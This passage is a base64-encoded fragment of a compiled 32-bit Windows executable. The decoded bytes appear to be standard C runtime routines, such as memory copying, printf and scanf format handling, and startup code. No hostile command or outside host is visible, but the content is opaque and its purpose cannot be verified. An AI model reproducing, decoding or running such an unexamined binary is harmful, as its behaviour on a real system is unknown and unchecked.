AAEBgXToi0H8hMB0MoTkdCSpAAD/AHQTqQAAAP90AuvNjUH/i0wkBCvBw41B/otMJAQrwcON Qf2LTCQEK8HDjUH8i0wkBCvBw1WL7FGDZfwAU4tdCFZXU+hx////g/gBWXIhgHsBOnUbi3UM hfZ0EGoCU1bojBAAAIPEDIBmAgBDQ+sKi0UMhcB0A4AgAINlDACAOwCLw77/AAAAiUUIdGWK CA+20faCYU1JAAR0A0DrGoD5L3QPgPlcdAqA+S51C4lF/OsGjUgBiU0MQIA4AHXPi30MiUUI hf90KoN9EAB0Hyv7O/5yAov+V1P/dRDoERAAAItFEIPEDIAkBwCLRQiLXQzrCotNEIXJdAOA IQCLffyF/3RMO/tySIN9FAB0Hyv7O/5yAov+V1P/dRTo0g8AAItFFIPEDIAkBwCLRQiLfRiF /3REK0X8O8ZzAovwVv91/Ffoqw8AAIPEDIAkPgDrKIt9FIX/dBcrwzvGcwKL8FZTV+iLDwAA g8QMgCQ+AItFGIXAdAOAIABfXlvJw1WL7FGDPTw5SQAAU3Udi0UIg/hhD4yvAAAAg/h6D4+m AAAAg+gg6Z4AAACLXQiB+wABAAB9KIM9HCxBAAF+DGoCU+gHEgAAWVnrC6EQKkEAigRYg+AC hcB1BIvD62uLFRAqQQCLw8H4CA+2yPZESgGAdA6AZQoAiEUIiF0JagLrCYBlCQCIXQhqAViN TfxqAWoAagNRUI1FCFBoAAIAAP81PDlJAOhVDwAAg8QghcB0qYP4AXUGD7ZF/OsND7ZF/Q+2 TfzB4AgLwVvJw1WL7FGDPTw5SQAAU1ZXdR2LRQiD+EEPjKoAAACD+FoPj6EAAACDwCDpmQAA AItdCL8AAQAAagE73159JTk1HCxBAH4LVlPoNxEAAFlZ6wqhECpBAIoEWCPGhcB1BIvD62WL FRAqQQCLw8H4CA+2yPZESgGAdA+AZQoAagKIRQiIXQlY6wmAZQkAiF0Ii8ZWagCNTfxqA1FQ jUUIUFf/NTw5SQDoiw4AAIPEIIXAdK47xnUGD7ZF/OsND7ZF/Q+2TfzB4AgLwV9eW8nDVYvs g+wgi0UIVolF6IlF4I1FEMdF7EIAAABQjUXg/3UMx0Xk////f1DoExIAAIPEDP9N5IvweAiL ReCAIADrDY1F4FBqAOjhEAAAWVmLxl7Jw/90JATo8BkAAFnDzMzMzMzMzMzMzFWL7FdWi3UM i00Qi30Ii8GL0QPGO/52CDv4D4J4AQAA98cDAAAAdRTB6QKD4gOD+QhyKfOl/ySVSH1AAIvH ugMAAACD6QRyDIPgAwPI/ySFYHxAAP8kjVh9QACQ/ySN3HxAAJBwfEAAnHxAAMB8QAAj0YoG iAeKRgGIRwGKRgLB6QKIRwKDxgODxwOD+QhyzPOl/ySVSH1AAI1JACPRigaIB4pGAcHpAohH AYPGAoPHAoP5CHKm86X/JJVIfUAAkCPRigaIB0bB6QJHg/kIcozzpf8klUh9QACNSQA/fUAA LH1AACR9QAAcfUAAFH1AAAx9QAAEfUAA/HxAAItEjuSJRI/ki0SO6IlEj+iLRI7siUSP7ItE jvCJRI/wi0SO9IlEj/SLRI74iUSP+ItEjvyJRI/8jQSNAAAAAAPwA/j/JJVIfUAAi/9YfUAA YH1AAGx9QACAfUAAi0UIXl/Jw5CKBogHi0UIXl/Jw5CKBogHikYBiEcBi0UIXl/Jw41JAIoG iAeKRgGIRwGKRgKIRwKLRQheX8nDkI10MfyNfDn898cDAAAAdSTB6QKD4gOD+QhyDf3zpfz/ JJXgfkAAi//32f8kjZB+QACNSQCLx7oDAAAAg/kEcgyD4AMryP8kheh9QAD/JI3gfkAAkPh9 QAAYfkAAQH5AAIpGAyPRiEcDTsHpAk+D+Qhytv3zpfz/JJXgfkAAjUkAikYDI9GIRwOKRgLB 6QKIRwKD7gKD7wKD+QhyjP3zpfz/JJXgfkAAkIpGAyPRiEcDikYCiEcCikYBwekCiEcBg+4D g+8Dg/kID4Ja/////fOl/P8kleB+QACNSQCUfkAAnH5AAKR+QACsfkAAtH5AALx+QADEfkAA 135AAItEjhyJRI8ci0SOGIlEjxiLRI4UiUSPFItEjhCJRI8Qi0SODIlEjwyLRI4IiUSPCItE jgSJRI8EjQSNAAAAAAPwA/j/JJXgfkAAi//wfkAA+H5AAAh/QAAcf0AAi0UIXl/Jw5CKRgOI RwOLRQheX8nDjUkAikYDiEcDikYCiEcCi0UIXl/Jw5CKRgOIRwOKRgKIRwKKRgGIRwGLRQhe X8nDi0QkBKMAKUEAw6EAKUEAacD9QwMABcOeJgCjAClBAMH4ECX/fwAAw8zMzFE9ABAAAI1M JAhyFIHpABAAAC0AEAAAhQE9ABAAAHPsK8iLxIUBi+GLCItABFDDagH/dCQI6IsWAABZWcNV i+yD7CCLRQjHRexJAAAAUIlF6IlF4OiH+P//iUXkjUUQUI1F4P91DFDouxYAAIPEEMnDzMzM zMzMzMzMzMzMzMzMVYvsV1aLdQyLTRCLfQiLwYvRA8Y7/nYIO/gPgngBAAD3xwMAAAB1FMHp AoPiA4P5CHIp86X/JJUogUAAi8e6AwAAAIPpBHIMg+ADA8j/JIVAgEAA/ySNOIFAAJD/JI28 gEAAkFCAQAB8gEAAoIBAACPRigaIB4pGAYhHAYpGAsHpAohHAoPGA4PHA4P5CHLM86X/JJUo gUAAjUkAI9GKBogHikYBwekCiEcBg8YCg8cCg/kIcqbzpf8klSiBQACQI9GKBogHRsHpAkeD +QhyjPOl/ySVKIFAAI1JAB+BQAAMgUAABIFAAPyAQAD0gEAA7IBAAOSAQADcgEAAi0SO5IlE j+SLRI7oiUSP6ItEjuyJRI/si0SO8IlEj/CLRI70iUSP9ItEjviJRI/4i0SO/IlEj/yNBI0A AAAAA/AD+P8klSiBQACL/ziBQABAgUAATIFAAGCBQACLRQheX8nDkIoGiAeLRQheX8nDkIoG iAeKRgGIRwGLRQheX8nDjUkAigaIB4pGAYhHAYpGAohHAotFCF5fycOQjXQx/I18Ofz3xwMA AAB1JMHpAoPiA4P5CHIN/fOl/P8klcCCQACL//fZ/ySNcIJAAI1JAIvHugMAAACD+QRyDIPg AyvI/ySFyIFAAP8kjcCCQACQ2IFAAPiBQAAggkAAikYDI9GIRwNOwekCT4P5CHK2/fOl/P8k lcCCQACNSQCKRgMj0YhHA4pGAsHpAohHAoPuAoPvAoP5CHKM/fOl/P8klcCCQACQikYDI9GI RwOKRgKIRwKKRgHB6QKIRwGD7gOD7wOD+QgPglr////986X8/ySVwIJAAI1JAHSCQAB8gkAA hIJAAIyCQACUgkAAnIJAAKSCQAC3gkAAi0SOHIlEjxyLRI4YiUSPGItEjhSJRI8Ui0SOEIlE jxCLRI4MiUSPDItEjgiJRI8Ii0SOBIlEjwSNBI0AAAAAA/AD+P8klcCCQACL/9CCQADYgkAA 6IJAAPyCQACLRQheX8nDkIpGA4hHA4tFCF5fycONSQCKRgOIRwOKRgKIRwKLRQheX8nDkIpG A4hHA4pGAohHAopGAYhHAYtFCF5fycODPRwsQQABfhFoAwEAAP90JAjoJAkAAFlZw4tEJASL DRAqQQBmiwRBJQMBAADDgz0cLEEAAX4OagT/dCQI6PkIAABZWcOLRCQEiw0QKkEAigRBg+AE w4M9HCxBAAF+DmoI/3QkCOjRCAAAWVnDi0QkBIsNECpBAIoEQYPgCMPMzMzMzMzMzMzMzMzM i0wkCFdTVooRi3wkEITSdGmKcQGE9nRPi/eLTCQUigdGONB0FYTAdAuKBkY40HQKhMB19V5b XzPAw4oGRjjwdeuNfv+KYQKE5HQoigaDxgI44HXEikEDhMB0GIpm/4PBAjjgdN/rsTPAXltf isLpQx0AAI1H/15bX8OLx15bX8NVi+xXVlOLTRDjJovZi30Ii/czwPKu99kDy4v+i3UM86aK Rv8zyTpH/3cEdARJSffRi8FbXl/Jw1WL7Gr/aEDSQABoBKxAAGShAAAAAFBkiSUAAAAAg+xY U1ZXiWXo/xW80EAAM9KK1IkVbDlJAIvIgeH/AAAAiQ1oOUkAweEIA8qJDWQ5SQDB6BCjYDlJ ADP2VugWJgAAWYXAdQhqHOiwAAAAWYl1/OhWJAAA/xXE0EAAo2hOSQDoFCMAAKMgOUkA6L0g AADo/x8AAOgcHQAAiXXQjUWkUP8VeNFAAOiQHwAAiUWc9kXQAXQGD7dF1OsDagpYUP91nFZW /xV00UAAUOi87v//iUWgUOgKHQAAi0XsiwiLCYlNmFBR6M4dAABZWcOLZej/dZjo/BwAAIM9 KDlJAAF1BeiAJwAA/3QkBOiwJwAAaP8AAAD/FRApQQBZWcODPSg5SQABdQXoWycAAP90JATo iycAAFlo/wAAAP8VfNFAAMNVi+yD7BhTVlf/dQjoiAEAAIvwWTs1OExJAIl1CA+EagEAADPb O/MPhFYBAAAz0rggKUEAOTB0coPAMEI9ECpBAHzxjUXoUFb/FYDRQACD+AEPhSQBAABqQDPA Wb9gTUkAg33oAYk1OExJAPOrqokdZE5JAA+G7wAAAIB97gAPhLsAAACNTe+KEYTSD4SuAAAA D7ZB/w+20jvCD4eTAAAAgIhhTUkABEDr7mpAM8BZv2BNSQDzq400Uold/MHmBKqNnjApQQCA OwCLy3QsilEBhNJ0JQ+2AQ+2+jvHdxSLVfyKkhgpQQAIkGFNSQBAO8d29UFBgDkAddT/RfyD wwiDffwEcsGLRQjHBUxMSQABAAAAUKM4TEkA6MYAAACNtiQpQQC/QExJAKWlWaNkTkkApetV QUGAef8AD4VI////agFYgIhhTUkACEA9/wAAAHLxVuiMAAAAWaNkTkkAxwVMTEkAAQAAAOsG iR1MTEkAM8C/QExJAKurq+sNOR0sOUkAdA7ojgAAAOiyAAAAM8DrA4PI/19eW8nDi0QkBIMl LDlJAACD+P51EMcFLDlJAAEAAAD/JYjRQACD+P11EMcFLDlJAAEAAAD/JYTRQACD+Px1D6FM OUkAxwUsOUkAAQAAAMOLRCQELaQDAAB0IoPoBHQXg+gNdAxIdAMzwMO4BAQAAMO4EgQAAMO4 BAgAAMO4EQQAAMNXakBZM8C/YE1JAPOrqjPAv0BMSQCjOExJAKNMTEkAo2ROSQCrq6tfw1WL 7IHsFAUAAI1F7FZQ/zU4TEkA/xWA0UAAg/gBD4UWAQAAM8C+AAEAAIiEBez+//9AO8Zy9IpF 8saF7P7//yCEwHQ3U1eNVfMPtgoPtsA7wXcdK8iNvAXs/v//QbggICAgi9nB6QLzq4vLg+ED 86pCQopC/4TAddBfW2oAjYXs+v///zVkTkkA/zU4TEkAUI2F7P7//1ZQagHo8yUAAGoAjYXs /f///zU4TEkAVlCNhez+//9WUFb/NWROSQDoaAEAAGoAjYXs/P///zU4TEkAVlCNhez+//9W UGgAAgAA/zVkTkkA6EABAACDxFwzwI2N7Pr//2aLEfbCAXQWgIhhTUkAEIqUBez9//+IkGBM SQDrHPbCAnQQgIhhTUkAIIqUBez8///r44CgYExJAABAQUE7xnK/60kzwL4AAQAAg/hBchmD +Fp3FICIYU1JABCKyIDBIIiIYExJAOsfg/hhchOD+Hp3DoCIYU1JACCKyIDpIOvggKBgTEkA AEA7xnK+XsnDgz0oTEkAAHUSav3oLPz//1nHBShMSQABAAAAw1WL7IM9TExJAABXi30IiX0I dRH/dRD/dQxX6ComAACDxAzrY4tVEFaF0nQ9i00MigFKD7bw9oZhTUkABIgHdBNHQYXSdBmK AUqIB0dBhMB0FOsGR0GEwHQQhdJ10usKgGf/AOsEgGf+AIvCSoXAXnQTjUoBM8CL0cHpAvOr i8qD4QPzqotFCF9dw1WL7Gr/aFjSQABoBKxAAGShAAAAAFBkiSUAAAAAg+wcU1ZXiWXoM/85 PTA5SQB1RldXagFbU2hQ0kAAvgABAABWV/8VPNFAAIXAdAiJHTA5SQDrIldXU2hM0kAAVlf/ FUDRQACFwA+EIgEAAMcFMDlJAAIAAAA5fRR+EP91FP91EOieAQAAWVmJRRShMDlJAIP4AnUd /3Uc/3UY/3UU/3UQ/3UM/3UI/xVA0UAA6d4AAACD+AEPhdMAAAA5fSB1CKFMOUkAiUUgV1f/ dRT/dRCLRST32BvAg+AIQFD/dSD/FXjQQACL2Ild5DvfD4ScAAAAiX38jQQbg8ADJPzoXfT/ /4ll6IvEiUXcg038/+sTagFYw4tl6DP/iX3cg038/4td5Dl93HRmU/913P91FP91EGoB/3Ug /xV40EAAhcB0TVdXU/913P91DP91CP8VPNFAAIvwiXXYO/d0MvZFDQR0QDl9HA+EsgAAADt1 HH8e/3Uc/3UYU/913P91DP91CP8VPNFAAIXAD4WPAAAAM8CNZciLTfBkiQ0AAAAAX15bycPH RfwBAAAAjQQ2g8ADJPzoqfP//4ll6IvciV3gg038/+sSagFYw4tl6DP/M9uDTfz/i3XYO990 tFZT/3Xk/3Xc/3UM/3UI/xU80UAAhcB0nDl9HFdXdQRXV+sG/3Uc/3UYVlNoIAIAAP91IP8V oNBAAIvwO/cPhHH///+Lxuls////i1QkCItEJASF0laNSv90DYA4AHQIQIvxSYX2dfOAOABe dQUrRCQEw4vCw1WL7FGLRQiNSAGB+QABAAB3DIsNECpBAA+3BEHrUovIVos1ECpBAMH5CA+2 0fZEVgGAXnQOgGX+AIhN/IhF/WoC6wmAZf0AiEX8agFYjU0KagFqAGoAUVCNRfxQagHotSEA AIPEHIXAdQLJww+3RQojRQzJw1WL7FNWi3UMi0YMi14QqIIPhPMAAACoQA+F6wAAAKgBdBaD ZgQAqBAPhNsAAACLTggk/okOiUYMi0YMg2YEAINlDAAk7wwCZqkMAYlGDHUigf6gLUEAdAiB /sAtQQB1C1PoHiYAAIXAWXUHVujPJQAAWWb3RgwIAVd0ZItGCIs+K/iNSAGJDotOGEmF/4lO BH4QV1BT6PkjAACDxAyJRQzrM4P7/3QWi8OLy8H4BYPhH4sEhSBLSQCNBMjrBbjILEEA9kAE IHQNagJqAFPoJyMAAIPEDItGCIpNCIgI6xRqAY1FCF9XUFPopiMAAIPEDIlFDDl9DF90BoNO DCDrD4tFCCX/AAAA6wgMIIlGDIPI/15bXcNVi+yB7EgCAABTVleLfQwz9oofR4TbiXX0iXXs iX0MD4T0BgAAi03wM9LrCItN8It10DPSOVXsD4zcBgAAgPsgfBOA+3h/Dg++w4qAUNJAAIPg D+sCM8APvoTGcNJAAMH4BIP4B4lF0A+HmgYAAP8khfuUQACDTfD/iVXMiVXYiVXgiVXkiVX8 iVXc6XgGAAAPvsOD6CB0O4PoA3Qtg+gIdB9ISHQSg+gDD4VZBgAAg038COlQBgAAg038BOlH BgAAg038Aek+BgAAgE38gOk1BgAAg038AuksBgAAgPsqdSONRRBQ6PUGAACFwFmJReAPjRIG AACDTfwE99iJReDpBAYAAItF4A++y40EgI1EQdDr6YlV8OntBQAAgPsqdR6NRRBQ6LYGAACF wFmJRfAPjdMFAACDTfD/6coFAACNBIkPvsuNREHQiUXw6bgFAACA+0l0LoD7aHQggPtsdBKA +3cPhaAFAACATf0I6ZcFAACDTfwQ6Y4FAACDTfwg6YUFAACAPzZ1FIB/ATR1DkdHgE39gIl9 DOlsBQAAiVXQiw0QKkEAiVXcD7bD9kRBAYB0GY1F7FD/dQgPvsNQ6H8FAACKH4PEDEeJfQyN RexQ/3UID77DUOhmBQAAg8QM6SUFAAAPvsOD+GcPjxwCAACD+GUPjZYAAACD+FgPj+sAAAAP hHgCAACD6EMPhJ8AAABISHRwSEh0bIPoDA+F6QMAAGb3RfwwCHUEgE39CIt18IP+/3UFvv// /3+NRRBQ6JwFAABm90X8EAhZi8iJTfgPhP4BAACFyXUJiw0sLEEAiU34x0XcAQAAAIvBi9ZO hdIPhNQBAABmgzgAD4TKAQAAQEDr58dFzAEAAACAwyCDTfxAjb24/f//O8qJffgPjc8AAADH RfAGAAAA6dEAAABm90X8MAh1BIBN/Qhm90X8EAiNRRBQdDvoMAUAAFCNhbj9//9Q6HUjAACD xAyJRfSFwH0yx0XYAQAAAOspg+hadDKD6Al0xUgPhOgBAADpCAMAAOjYBAAAWYiFuP3//8dF 9AEAAACNhbj9//+JRfjp5wIAAI1FEFDoswQAAIXAWXQzi0gEhcl0LPZF/Qh0Fw+/ANHoiU34 iUX0x0XcAQAAAOm1AgAAg2XcAIlN+A+/AOmjAgAAoSgsQQCJRfhQ6Y4AAAB1DID7Z3UHx0Xw AQAAAItFEP91zIPACIlFEP918ItI+IlNuItA/IlFvA++w1CNhbj9//9QjUW4UP8VADBBAIt1 /IPEFIHmgAAAAHQUg33wAHUOjYW4/f//UP8VDDBBAFmA+2d1EoX2dQ6Nhbj9//9Q/xUEMEEA WYC9uP3//y11DYBN/QGNvbn9//+JffhX6GHm//9Z6fwBAACD6GkPhNEAAACD6AUPhJ4AAABI D4SEAAAASHRRg+gDD4T9/f//SEgPhLEAAACD6AMPhckBAADHRdQnAAAA6zwrwdH46bQBAACF yXUJiw0oLEEAiU34i8GL1k6F0nQIgDgAdANA6/ErwemPAQAAx0XwCAAAAMdF1AcAAAD2RfyA x0X0EAAAAHRdikXUxkXqMARRx0XkAgAAAIhF6+tI9kX8gMdF9AgAAAB0O4BN/QLrNY1FEFDo GwMAAPZF/CBZdAlmi03sZokI6wWLTeyJCMdF2AEAAADpIwIAAINN/EDHRfQKAAAA9kX9gHQM jUUQUOjtAgAAWetB9kX8IHQh9kX8QI1FEFB0DOjIAgAAWQ+/wJnrJei8AgAAWQ+3wOvy9kX8 QI1FEFB0COinAgAAWevg6J8CAABZM9L2RfxAdBuF0n8XfASFwHMR99iD0gCL8PfagE39AYv6 6wSL8Iv69kX9gHUDg+cAg33wAH0Jx0XwAQAAAOsEg2X894vGC8d1BINl5ACNRbeJRfiLRfD/ TfCFwH8Gi8YLx3Q7i0X0mVJQV1aJRcCJVcTobyEAAP91xIvYg8Mw/3XAV1bo7SAAAIP7OYvw i/p+AwNd1ItF+P9N+IgY67WNRbcrRfj/Rfj2Rf0CiUX0dBmLTfiAOTB1BIXAdQ3/TfhAi034 xgEwiUX0g33YAA+F9AAAAItd/PbDQHQm9scBdAbGReot6xT2wwF0BsZF6ivrCfbDAnQLxkXq IMdF5AEAAACLdeArdeQrdfT2wwx1Eo1F7FD/dQhWaiDoFwEAAIPEEI1F7FCNRer/dQj/deRQ 6DIBAACDxBD2wwh0F/bDBHUSjUXsUP91CFZqMOjlAAAAg8QQg33cAHRBg330AH47i0X0i134 jXj/ZosDQ1CNRchQQ+iWHwAAWYXAWX4yjU3sUf91CFCNRchQ6NgAAACDxBCLx0+FwHXQ6xWN RexQ/3UI/3X0/3X46LoAAACDxBD2RfwEdBKNRexQ/3UIVmog6HEAAACDxBCLfQyKH0eE24l9 DA+FE/n//4tF7F9eW8nDeY9AAE+OQABqjkAAto5AAO2OQAD1jkAAKo9AAL2PQABVi+yLTQz/ SQR4DosRikUIiAL/AQ+2wOsLUf91COiI9///WVmD+P+LRRB1BYMI/13D/wBdw1ZXi3wkEIvH T4XAfiGLdCQYVv90JBj/dCQU6Kz///+DxAyDPv90B4vHT4XAf+NfXsNTi1wkDIvDS1ZXhcB+ Jot8JByLdCQQD74GV0b/dCQcUOh1////g8QMgz//dAeLw0uFwH/iX15bw4tEJASDAASLAItA /MOLRCQEgwAIiwiLQfiLUfzDi0QkBIMABIsAZotA/MNWi3QkCIX2dCRW6MAfAABZhcBWdApQ 6N8fAABZWV7DagD/NQRLSQD/FZDRQABew/81uDpJAP90JAjoAwAAAFlZw4N8JATgdyL/dCQE 6BwAAACFwFl1FjlEJAh0EP90JATodScAAIXAWXXeM8DDVot0JAg7NSAwQQB3C1bopSIAAIXA WXUchfZ1A2oBXoPGD4Pm8FZqAP81BEtJAP8VlNFAAF7DVYvsgezEAQAAgGXrAFNWi3UMM9tX igaJXfyEwIldzA+E4QkAAIt9COsFi30IM9uDPRwsQQABfg8PtsBqCFDohvX//1lZ6w+LDRAq QQAPtsCKBEGD4Ag7w3Q2/038V41F/FdQ6CUKAABZWVDoBgoAAA+2RgFGUOhp7P//g8QMhcB0 Dg+2RgFGUOhX7P//WevugD4lD4XZCAAAgGXLAIBl6ACAZekAgGXyAIBl8QCAZeoAM/+AZfsA iV3kiV3giV30xkXzAYld0A+2XgFGgz0cLEEAAX4PD7bDagRQ6On0//9ZWesPiw0QKkEAD7bD igRBg+AEhcB0EotF9P9F4I0EgI1EQ9CJRfTrZYP7Tn8+dF6D+yp0MoP7RnRUg/tJdAqD+0x1 N/5F8+tFgH4BNnUsgH4CNI1GAnUj/0XQg2XYAINl3ACL8Osn/kXy6yKD+2h0F4P7bHQKg/t3 dAj+RfHrDv5F8/5F++sG/k3z/k37gH3xAA+ET////4B98gCJdQx1EotFEIlFvIPABIlFEItA /IlF1IBl8QCAffsAdRSKBjxTdAo8Q3QGgE37/+sExkX7AYtdDA+2M4POIIP+bol1xHQog/5j dBSD/nt0D/91CI1F/FDotQgAAFnrC/91CP9F/Oh2CAAAWYlF7DPAOUXgdAk5RfQPhNwHAACD /m8Pj14CAAAPhAoFAACD/mMPhCwCAACD/mQPhPgEAAAPjmoCAACD/md+OIP+aXQbg/5uD4VX AgAAgH3yAIt9/A+EAAcAAOkhBwAAamRei13sg/stD4V+AgAAxkXpAel6AgAAi13sjbU8/v// g/stdQ6InTz+//+NtT3+///rBYP7K3UXi30I/030/0X8V+jOBwAAi9hZiV3s6wOLfQiDfeAA dAmBffRdAQAAfgfHRfRdAQAAgz0cLEEAAX4MagRT6Anz//9ZWesLoRAqQQCKBFiD4ASFwHQh i0X0/030hcB0F/9F5IgeRv9F/FfocAcAAIvYWYld7Ou7OB0gLEEAdWaLRfT/TfSFwHRc/0X8 V+hNBwAAi9igICxBAIgGWYld7EaDPRwsQQABfgxqBFPom/L//1lZ6wuhECpBAIoEWIPgBIXA dCGLRfT/TfSFwHQX/0XkiB5G/0X8V+gCBwAAi9hZiV3s67uDfeQAD4SOAAAAg/tldAmD+0UP hYAAAACLRfT/TfSFwHR2xgZlRv9F/FfoywYAAIvYWYP7LYld7HUFiAZG6wWD+yt1HotF9P9N 9IXAdQUhRfTrD/9F/FfongYAAIvYWYld7IM9HCxBAAF+DGoEU+j08f//WVnrC6EQKkEAigRY g+AEhcB0EotF9P9N9IXAdAj/ReSIHkbru/9N/FdT6HIGAACDfeQAWVkPhPYFAACAffIAD4VN BQAA/0XMgCYAjYU8/v//UA++RfP/ddRIUP8VCDBBAIPEDOkpBQAAOUXgdQr/RfTHReABAAAA gH37AH4ExkXqAb84LEEA6QsBAACLxoPocA+EowIAAIPoAw+E6AAAAEhID4SWAgAAg+gDD4TD /f//g+gDdCQPtgM7RewPhT8FAAD+TeuAffIAD4XDBAAAi0W8iUUQ6bgEAACAffsAfgTGReoB i30MR4l9DIA/Xg+FpwAAAIvHjXgB6ZkAAACD+yt1Iv9N9HUMg33gAHQGxkXxAesR/3UI/0X8 6GgFAACL2FmJXeyD+zAPhUUCAAD/dQj/RfzoTgUAAIvYWYD7eIld7HQvgPtYdCqD/njHReQB AAAAdAhqb17pFgIAAP91CP9N/FPoOAUAAFlZajBb6f0BAAD/dQj/RfzoCQUAAFmL2Ild7Gp4 68+AffsAfgTGReoBvzAsQQCATej/aiCNRZxqAFDo7Nr//4PEDIN9xHt1DoA/XXUJsl1HxkWn IOsDilXLigc8XXRfRzwtdUGE0nQ9ig+A+V10Nkc60XMEisHrBIrCitE60HchD7bSD7bwK/JG i8qLwoPhB7MBwegD0uONRAWcCBhCTnXoMtLrtA+2yIrQi8GD4QezAcHoA9LjjUQFnAgY65uA PwAPhAEEAACDfcR7dQOJfQyLfQiLddT/TfxX/3XsiXXQ6FMEAABZWYN94AB0DotF9P9N9IXA D4ScAAAA/0X8V+gaBAAAg/j/WYlF7HR+i8hqAYPhB1oPvl3o0+KLyMH5Aw++TA2cM8uF0XRg gH3yAHVSgH3qAHRBiw0QKkEAiEXID7bA9kRBAYB0Df9F/FfoywMAAFmIRcn/NRwsQQCNRchQ jUXCUOiqIAAAZotFwoPEDGaJBkZG6wOIBkaJddTpZP////9F0Olc/////038V1DoowMAAFlZ OXXQD4QoAwAAgH3yAA+FfwIAAP9FzIN9xGMPhHICAACAfeoAi0XUdAlmgyAA6WACAACAIADp WAIAAMZF8wGLXeyD+y11BsZF6QHrBYP7K3Ui/030dQyDfeAAdAbGRfEB6xH/dQj/RfzoGgMA AFmL2Ild7IN90AAPhA8BAACAffEAD4XjAAAAg/54dU+DPRwsQQABfg9ogAAAAFPoVO7//1lZ 6w2hECpBAIoEWCWAAAAAhcAPhKMAAACLRdiLVdxqBFnozSAAAFOJRdiJVdzofQIAAIvYWYld 7OtTgz0cLEEAAX4MagRT6Aju//9ZWesLoRAqQQCKBFiD4ASFwHRdg/5vdRWD+zh9U4tF2ItV 3GoDWeh9IAAA6w9qAGoK/3Xc/3XY6CwgAACJRdiJVdz/ReSNQ9CZAUXYEVXcg33gAHQF/030 dCT/dQj/RfzoNgIAAIvYWYld7Okr/////3UI/038U+g5AgAAWVmAfekAD4TcAAAAi0XYi03c 99iD0QCJRdj32YlN3OnEAAAAgH3xAA+FsgAAAIP+eHQ/g/5wdDqDPRwsQQABfgxqBFPoQ+3/ /1lZ6wuhECpBAIoEWIPgBIXAdHaD/m91CoP7OH1swecD6z+NPL/R5+s4gz0cLEEAAX4PaIAA AABT6Abt//9ZWesNoRAqQQCKBFglgAAAAIXAdDdTwecE6EQBAACL2FmJXez/ReSDfeAAjXwf 0HQF/030dCT/dQj/RfzoWAEAAIvYWYld7Olc/////3UI/038U+hbAQAAWVmAfekAdAL334P+ RnUEg2XkAIN95AAPhM4AAACAffIAdSn/RcyDfdAAdBCLRdSLTdiJCItN3IlIBOsQgH3zAItF 1HQEiTjrA2aJOP5F6/9FDIt1DOtC/0X8V+jhAAAAi9hZD7YGRjvDiV3siXUMdVWLDRAqQQAP tsP2REEBgHQY/0X8V+i3AAAAWQ+2DkY7yIl1DHU+/038g33s/3UQgD4ldU2LRQyAeAFudUSL 8IoGhMAPhVb2///rMP91CP9N/P917OsF/038V1PoiwAAAFlZ6xf/TfxXUOh9AAAA/038V1Po cwAAAIPEEIN97P91EYtFzIXAdQ04Ret1CIPI/+sDi0XMX15bycODPRwsQQABVn4Qi3QkCGoE VuiO6///WVnrD4t0JAihECpBAIoEcIPgBIXAdQaD5t+D7geLxl7Di1QkBP9KBHgJiwoPtgFB iQrDUugUHgAAWcODfCQE/3QP/3QkCP90JAjo1x4AAFlZw1aLdCQIV/90JBD/Bui+////i/hX 6D7i//9ZhcBZdeeLx19ew8zMzMzMzMzMjUL/W8ONpCQAAAAAjWQkADPAikQkCFOL2MHgCItU JAj3wgMAAAB0E4oKQjjZdNGEyXRR98IDAAAAde0L2FeLw8HjEFYL2IsKv//+/n6LwYv3M8sD 8AP5g/H/g/D/M88zxoPCBIHhAAEBgXUcJQABAYF00yUAAQEBdQiB5gAAAIB1xF5fWzPAw4tC /DjYdDaEwHTvONx0J4TkdOfB6BA42HQVhMB03DjcdAaE5HTU65ZeX41C/1vDjUL+Xl9bw41C /V5fW8ONQvxeX1vDoTRMSQCFwHQC/9BoFPBAAGgI8EAA6M4AAABoBPBAAGgA8EAA6L8AAACD xBDDagBqAP90JAzoFQAAAIPEDMNqAGoB/3QkDOgEAAAAg8QMw1dqAV85PZw5SQB1Ef90JAj/ FazQQABQ/xUo0UAAg3wkDABTi1wkFIk9mDlJAIgdlDlJAHU8oTBMSQCFwHQiiw0sTEkAVo1x /DvwchOLBoXAdAL/0IPuBDs1MExJAHPtXmgg8EAAaBjwQADoKgAAAFlZaCjwQABoJPBAAOgZ AAAAWVmF21t1EP90JAiJPZw5SQD/FXzRQABfw1aLdCQIO3QkDHMNiwaFwHQC/9CDxgTr7V7D VYvsU/91COg1AQAAhcBZD4QgAQAAi1gIhdsPhBUBAACD+wV1DINgCABqAVjpDQEAAIP7AQ+E 9gAAAIsNoDlJAIlNCItNDIkNoDlJAItIBIP5CA+FyAAAAIsNuCxBAIsVvCxBAAPRVjvKfRWN NEkr0Y00tUgsQQCDJgCDxgxKdfeLAIs1xCxBAD2OAADAdQzHBcQsQQCDAAAA63A9kAAAwHUM xwXELEEAgQAAAOtdPZEAAMB1DMcFxCxBAIQAAADrSj2TAADAdQzHBcQsQQCFAAAA6zc9jQAA wHUMxwXELEEAggAAAOskPY8AAMB1DMcFxCxBAIYAAADrET2SAADAdQrHBcQsQQCKAAAA/zXE LEEAagj/01mJNcQsQQBZXusIg2AIAFH/01mLRQijoDlJAIPI/+sJ/3UM/xWY0UAAW13Di1Qk BIsNwCxBADkVQCxBAFa4QCxBAHQVjTRJjTS1QCxBAIPADDvGcwQ5EHX1jQxJXo0MjUAsQQA7 wXMEORB0AjPAw4M9KExJAAB1Bei75P//Vos1aE5JAIoGPCJ1JYpGAUY8InQVhMB0EQ+2wFDo lBsAAIXAWXTmRuvjgD4idQ1G6wo8IHYGRoA+IHf6igaEwHQEPCB26YvGXsNTM9s5HShMSQBW V3UF6F/k//+LNSA5SQAz/4oGOsN0Ejw9dAFHVugr0///WY10BgHr6I0EvQQAAABQ6Orw//+L 8Fk784k1fDlJAHUIagnoEeD//1mLPSA5SQA4H3Q5VVfo8dL//4voWUWAPz10IlXotfD//zvD WYkGdQhqCeji3///WVf/Nujb0f//WYPGBFkD/Tgfdcld/zUgOUkA6Fjw//9ZiR0gOUkAiR5f XscFJExJAAEAAABbw1WL7FFRUzPbOR0oTEkAVld1Beih4///vqQ5SQBoBAEAAFZT/xUU0UAA oWhOSQCJNYw5SQCL/jgYdAKL+I1F+FCNRfxQU1NX6E0AAACLRfiLTfyNBIhQ6BXw//+L8IPE GDvzdQhqCOhA3///WY1F+FCNRfxQi0X8jQSGUFZX6BcAAACLRfyDxBRIiTV0OUkAX16jcDlJ AFvJw1WL7ItNGItFFFNWgyEAi3UQV4t9DMcAAQAAAItFCIX/dAiJN4PHBIl9DIA4InVEilAB QID6InQphNJ0JQ+20vaCYU1JAAR0DP8BhfZ0BooQiBZGQP8BhfZ01YoQiBZG687/AYX2dASA 